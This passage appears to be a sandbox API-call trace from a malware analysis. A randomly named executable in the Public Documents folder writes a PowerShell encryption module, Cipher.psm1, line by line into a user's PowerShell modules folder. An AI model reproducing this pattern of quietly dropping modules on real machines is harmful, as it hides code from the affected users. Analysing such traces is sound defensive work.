lpNumberOfBytesRead=0x1cf39c*=0x1, lpOverlapped=0x0) returned 1 [0062.886] GetConsoleTitleW (in: lpConsoleTitle=0x1cf1c0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xe8) returned 0x600e38 [0062.886] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x600e38, Size=0x72) returned 0x600e38 [0062.886] GetProcessHeap () returned 0x5d0000 [0062.886] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x600e38) returned 0x72 [0062.886] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x82) returned 0x600eb8 [0062.886] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cf188 | out: _Buffer="[OutputType([String], ParameterSetName='PlainText')] \r\n") returned 56 [0062.886] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.886] GetFileType (hFile=0x1c) returned 0x1 [0062.886] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.886] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="[OutputType([String], ParameterSetName='PlainText')] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="[OutputType([String], ParameterSetName='PlainText')] \r\n", lpUsedDefaultChar=0x0) returned 57 [0062.887] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0x1cf174, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cf174*=0x38, lpOverlapped=0x0) returned 1 [0062.887] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.888] _close (_FileHandle=3) returned 0 [0062.889] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fc8d0 [0062.889] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.889] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.889] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.889] GetFileType (hFile=0x7) returned 0x2 [0062.889] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.889] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf35c | out: lpMode=0x1cf35c) returned 1 [0062.889] _dup (_FileHandle=1) returned 3 [0062.890] _close (_FileHandle=1) returned 0 [0062.890] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.890] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cf32c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.890] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.890] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.891] GetFileType (hFile=0x1c) returned 0x1 [0062.891] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa2 [0062.891] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cf344*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cf344*=0) returned 0xa1 [0062.891] ReadFile (in: hFile=0x1c, lpBuffer=0x1cf33c, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf338, lpOverlapped=0x0 | out: lpBuffer=0x1cf33c*, lpNumberOfBytesRead=0x1cf338*=0x1, lpOverlapped=0x0) returned 1 [0062.891] GetConsoleTitleW (in: lpConsoleTitle=0x1cf15c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xd4) returned 0x5d6610 [0062.891] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5d6610, Size=0x68) returned 0x5d6610 [0062.891] GetProcessHeap () returned 0x5d0000 [0062.891] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5d6610) returned 0x68 [0062.891] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x78) returned 0x5ebc58 [0062.891] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cf124 | out: _Buffer="Param([Parameter(Mandatory=$false, Position=1)] \r\n") returned 51 [0062.892] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.892] GetFileType (hFile=0x1c) returned 0x1 [0062.892] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.892] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Param([Parameter(Mandatory=$false, Position=1)] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Param([Parameter(Mandatory=$false, Position=1)] \r\n", lpUsedDefaultChar=0x0) returned 52 [0062.892] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x1cf110, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cf110*=0x33, lpOverlapped=0x0) returned 1 [0062.892] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.893] _close (_FileHandle=3) returned 0 [0062.894] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fc8f0 [0062.894] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.894] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.894] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.894] GetFileType (hFile=0x7) returned 0x2 [0062.894] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.894] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf2f8 | out: lpMode=0x1cf2f8) returned 1 [0062.895] _dup (_FileHandle=1) returned 3 [0062.895] _close (_FileHandle=1) returned 0 [0062.895] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.895] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cf2c8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.896] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.896] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.896] GetFileType (hFile=0x1c) returned 0x1 [0062.896] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd5 [0062.896] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cf2e0*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cf2e0*=0) returned 0xd4 [0062.896] ReadFile (in: hFile=0x1c, lpBuffer=0x1cf2d8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf2d4, lpOverlapped=0x0 | out: lpBuffer=0x1cf2d8*, lpNumberOfBytesRead=0x1cf2d4*=0x1, lpOverlapped=0x0) returned 1 [0062.896] GetConsoleTitleW (in: lpConsoleTitle=0x1cf0f8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.896] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x104) returned 0x5d6680 [0062.896] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5d6680, Size=0x7a) returned 0x5d6680 [0062.896] GetProcessHeap () returned 0x5d0000 [0062.896] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5d6680) returned 0x7a [0062.897] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x90) returned 0x5d6708 [0062.897] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cf0c0 | out: _Buffer=" [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] \r\n") returned 63 [0062.897] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.897] GetFileType (hFile=0x1c) returned 0x1 [0062.897] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.897] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] \r\n", lpUsedDefaultChar=0x0) returned 64 [0062.897] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x1cf0ac, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cf0ac*=0x3f, lpOverlapped=0x0) returned 1 [0062.897] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.902] _close (_FileHandle=3) returned 0 [0062.902] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fc910 [0062.902] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.902] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.902] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.902] GetFileType (hFile=0x7) returned 0x2 [0062.903] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.903] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf294 | out: lpMode=0x1cf294) returned 1 [0062.903] _dup (_FileHandle=1) returned 3 [0062.903] _close (_FileHandle=1) returned 0 [0062.904] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.904] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cf264, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.904] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.904] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.904] GetFileType (hFile=0x1c) returned 0x1 [0062.904] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x114 [0062.904] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cf27c*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cf27c*=0) returned 0x113 [0062.904] ReadFile (in: hFile=0x1c, lpBuffer=0x1cf274, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf270, lpOverlapped=0x0 | out: lpBuffer=0x1cf274*, lpNumberOfBytesRead=0x1cf270*=0x1, lpOverlapped=0x0) returned 1 [0062.904] GetConsoleTitleW (in: lpConsoleTitle=0x1cf094, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x8c) returned 0x5d67a0 [0062.905] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5d67a0, Size=0x3c) returned 0x5d67a0 [0062.905] GetProcessHeap () returned 0x5d0000 [0062.905] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x5d67a0) returned 0x3c [0062.905] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x54) returned 0x5fecb0 [0062.905] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cf05c | out: _Buffer=" [String]$Algorithm='AES', \r\n") returned 33 [0062.905] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.905] GetFileType (hFile=0x1c) returned 0x1 [0062.905] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.905] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [String]$Algorithm='AES', \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [String]$Algorithm='AES', \r\n", lpUsedDefaultChar=0x0) returned 34 [0062.905] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x21, lpNumberOfBytesWritten=0x1cf048, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cf048*=0x21, lpOverlapped=0x0) returned 1 [0062.905] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.907] _close (_FileHandle=3) returned 0 [0062.907] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fc930 [0062.907] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.907] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.907] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.908] GetFileType (hFile=0x7) returned 0x2 [0062.908] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.908] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf230 | out: lpMode=0x1cf230) returned 1 [0062.908] _dup (_FileHandle=1) returned 3 [0062.909] _close (_FileHandle=1) returned 0 [0062.909] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.909] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cf200, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.909] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.909] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.909] GetFileType (hFile=0x1c) returned 0x1 [0062.909] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x135 [0062.909] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cf218*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cf218*=0) returned 0x134 [0062.909] ReadFile (in: hFile=0x1c, lpBuffer=0x1cf210, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf20c, lpOverlapped=0x0 | out: lpBuffer=0x1cf210*, lpNumberOfBytesRead=0x1cf20c*=0x1, lpOverlapped=0x0) returned 1 [0062.910] GetConsoleTitleW (in: lpConsoleTitle=0x1cf030, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xcc) returned 0x604a48 [0062.910] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604a48, Size=0x5c) returned 0x604a48 [0062.910] GetProcessHeap () returned 0x5d0000 [0062.910] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x604a48) returned 0x5c [0062.910] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x74) returned 0x5ebcd8 [0062.910] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ceff8 | out: _Buffer=" [Parameter(Mandatory=$false, Position=2)] \r\n") returned 49 [0062.910] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.910] GetFileType (hFile=0x1c) returned 0x1 [0062.910] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.910] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter(Mandatory=$false, Position=2)] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter(Mandatory=$false, Position=2)] \r\n", lpUsedDefaultChar=0x0) returned 50 [0062.910] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x1cefe4, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cefe4*=0x31, lpOverlapped=0x0) returned 1 [0062.910] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.912] _close (_FileHandle=3) returned 0 [0062.912] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fc950 [0062.912] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.912] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.913] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.913] GetFileType (hFile=0x7) returned 0x2 [0062.913] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.913] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf1cc | out: lpMode=0x1cf1cc) returned 1 [0062.913] _dup (_FileHandle=1) returned 3 [0062.914] _close (_FileHandle=1) returned 0 [0062.914] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.914] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cf19c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.914] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.914] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.914] GetFileType (hFile=0x1c) returned 0x1 [0062.914] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x166 [0062.914] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cf1b4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cf1b4*=0) returned 0x165 [0062.914] ReadFile (in: hFile=0x1c, lpBuffer=0x1cf1ac, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf1a8, lpOverlapped=0x0 | out: lpBuffer=0x1cf1ac*, lpNumberOfBytesRead=0x1cf1a8*=0x1, lpOverlapped=0x0) returned 1 [0062.915] GetConsoleTitleW (in: lpConsoleTitle=0x1cefcc, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x60) returned 0x604ab0 [0062.915] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604ab0, Size=0x26) returned 0x604ab0 [0062.915] GetProcessHeap () returned 0x5d0000 [0062.915] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x604ab0) returned 0x26 [0062.915] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x3e) returned 0x5f52b0 [0062.915] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cef94 | out: _Buffer=" [Int]$KeySize, \r\n") returned 22 [0062.915] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.915] GetFileType (hFile=0x1c) returned 0x1 [0062.915] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.915] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Int]$KeySize, \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Int]$KeySize, \r\n", lpUsedDefaultChar=0x0) returned 23 [0062.915] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x1cef80, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cef80*=0x16, lpOverlapped=0x0) returned 1 [0062.915] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.918] _close (_FileHandle=3) returned 0 [0062.918] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fc970 [0062.918] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.918] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.918] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.918] GetFileType (hFile=0x7) returned 0x2 [0062.918] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.918] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf168 | out: lpMode=0x1cf168) returned 1 [0062.919] _dup (_FileHandle=1) returned 3 [0062.919] _close (_FileHandle=1) returned 0 [0062.920] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.920] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cf138, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.920] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.920] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.920] GetFileType (hFile=0x1c) returned 0x1 [0062.920] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x17c [0062.920] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cf150*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cf150*=0) returned 0x17b [0062.920] ReadFile (in: hFile=0x1c, lpBuffer=0x1cf148, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf144, lpOverlapped=0x0 | out: lpBuffer=0x1cf148*, lpNumberOfBytesRead=0x1cf144*=0x1, lpOverlapped=0x0) returned 1 [0062.920] GetConsoleTitleW (in: lpConsoleTitle=0x1cef68, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xcc) returned 0x604ae0 [0062.921] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604ae0, Size=0x5e) returned 0x604ae0 [0062.921] GetProcessHeap () returned 0x5d0000 [0062.921] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x604ae0) returned 0x5e [0062.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x74) returned 0x5ebd58 [0062.921] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cef30 | out: _Buffer=" [Parameter(ParameterSetName='PlainText')] \r\n") returned 49 [0062.921] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.921] GetFileType (hFile=0x1c) returned 0x1 [0062.921] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.921] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Parameter(ParameterSetName='PlainText')] \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Parameter(ParameterSetName='PlainText')] \r\n", lpUsedDefaultChar=0x0) returned 50 [0062.921] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0x1cef1c, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cef1c*=0x31, lpOverlapped=0x0) returned 1 [0062.921] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.923] _close (_FileHandle=3) returned 0 [0062.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fc990 [0062.923] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.923] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.923] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.923] GetFileType (hFile=0x7) returned 0x2 [0062.923] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.923] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf104 | out: lpMode=0x1cf104) returned 1 [0062.924] _dup (_FileHandle=1) returned 3 [0062.924] _close (_FileHandle=1) returned 0 [0062.925] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.925] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cf0d4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0062.925] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0062.925] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.925] GetFileType (hFile=0x1c) returned 0x1 [0062.925] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1ad [0062.925] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cf0ec*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cf0ec*=0) returned 0x1ac [0062.925] ReadFile (in: hFile=0x1c, lpBuffer=0x1cf0e4, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cf0e0, lpOverlapped=0x0 | out: lpBuffer=0x1cf0e4*, lpNumberOfBytesRead=0x1cf0e0*=0x1, lpOverlapped=0x0) returned 1 [0062.925] GetConsoleTitleW (in: lpConsoleTitle=0x1cef04, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0062.925] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x7c) returned 0x604b48 [0062.926] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x604b48, Size=0x36) returned 0x604b48 [0062.926] GetProcessHeap () returned 0x5d0000 [0062.926] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x604b48) returned 0x36 [0062.926] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x4c) returned 0x604b88 [0062.926] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1ceecc | out: _Buffer=" [Switch]$AsPlainText) \r\n") returned 29 [0062.926] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.926] GetFileType (hFile=0x1c) returned 0x1 [0062.926] _get_osfhandle (_FileHandle=1) returned 0x1c [0062.926] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" [Switch]$AsPlainText) \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" [Switch]$AsPlainText) \r\n", lpUsedDefaultChar=0x0) returned 30 [0062.926] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x1d, lpNumberOfBytesWritten=0x1ceeb8, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1ceeb8*=0x1d, lpOverlapped=0x0) returned 1 [0062.926] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0062.928] _close (_FileHandle=3) returned 0 [0062.928] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5fc9b0 [0062.928] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.928] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.928] _get_osfhandle (_FileHandle=1) returned 0x7 [0062.928] GetFileType (hFile=0x7) returned 0x2 [0062.929] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0062.929] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cf0a0 | out: lpMode=0x1cf0a0) returned 1 [0062.929] _dup (_FileHandle=1) returned 3 [0062.929] _close (_FileHandle=1) returned 0 [0062.930] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0062.930] CreateFileW 